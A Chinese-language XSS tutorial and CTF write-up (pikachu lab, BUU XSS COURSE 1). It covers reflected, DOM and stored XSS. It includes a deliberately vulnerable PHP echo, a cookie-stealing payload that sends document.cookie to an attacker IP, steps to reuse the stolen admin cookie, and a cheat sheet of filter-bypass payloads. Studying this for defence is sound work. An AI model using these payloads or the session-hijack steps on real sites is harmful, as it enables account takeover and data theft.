赞
踩
由于输出问题导致的js代码被识别执行
<?php
echo $_GET['id'];
?>
//实验地址/test/xss.php?x=<script>alert(1)</script>
//js代码;<script>alert(1)</script> 调用执行
//漏洞产生原理:输出问题
XSS主要又分为三种,又如何区分它们,性质又是什么
DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
也可以理解为前端绕过,这里以pikachu靶场做演示:
随便输入字符并且提交,F12打开开发者模式,然后按Ctrl+Shift+C或点击如图的箭头,最后右键What do you see?
就可以看见前端代码显示了自己输入的内容,最后就可以尝试xss绕过
payload
cike_y'onclick="alert(1)"
但是DOM型在实战中比较鸡肋,能不能执行js代码主要考虑客户端浏览器的安全策略,需要受害者去配合,属于被动攻击
实战题目为:BUU XSS COURSE 1
进入网站页面,可以看见可以提交吐槽内容
根据题目xss,可以尝试payload进行提交验证是否存在xss漏洞,最终使用如下payload验证成功
<img src=# οnerrοr=alert(2)>
前面提过存储型通常在留言板,由于吐槽管理员一定要定期去查看评论,当我们发送恶意js代码时候也将永久储存至目标网站的数据中,如果admin查看该页面时候(访问我们的恶意js代码页面时候),管理员就会以自己的凭据去执行恶意js代码
有云ip也可以使用下面的payload获取admin的cookie,最后查看一下http的访问日志就好了
[第三章][3.3.4 案例分析]BUU XSS COURSE 1
<img src=x onerror="(new Image()).src='http://xx.xx.xx.xx/a='+escape(document.cookie)">
我使用的是Apache服务器,查看日志内容最后的10条信息,找不到日志可以使用find命令进行查找,access.log是日志默认的文件名
find / -name access.log
钓鱼坐等管理员上钩(管理员查看吐槽时),我们查看日志内容最后的10条信息,tail -n 10 /var/log/apache2/access.log
117.21.200.166是admin的ip,http://web/backend/admin.php是管理员的后台地址,其中web是内网地址不用管,访问后台地址发现需要登录,使用admin的Cookie凭据进行越权访问
F12键,如图进行操作将admin的Cookie替换为自己的进行登录
成功获取flag,并且进入后台
xss平台搭建,一般如果为了防止果实被盗取,会使用自己搭建的xss平台,不过还是要云ip
推荐文章:
https://bbs.secgeeker.net/thread-1519-1-1.html
xss平台,我使用的是这个网址
https://xss.pt/
登录之后,如图进行操作
访问吐槽地址,将Payload中的{projectId}替换为自己的认证参数,然后进行提交
这时候钓鱼就好了,等(如果不行,就是平台问题)
最后进入admin的后台也不再重复讲述了,云IP获取Cookie已经讲解了
<script>window.location.href="https://www.baidu.com";</script>
<script>alert(document.cookie)</script>
<scRipt> //大小写绕过
<scri<script>pt> //双写
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<a onmouseover=alert(document.cookie)>xxs link</a>
<a href=javascript:alert(1)>link</a>
<img src=x onerror=alert(1)></img>
<iframe src=java	script:alert(1)> //防止javascrpt被过滤掉
<a href=javascript:alert(1)>link</a>
也可以不带分号
<a href=javascript:alert(1)>link</a>
一次xss的备忘本,xss攻击有很多操作我都还没学会带入真正的实战,等实战成功我会再总结一篇
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。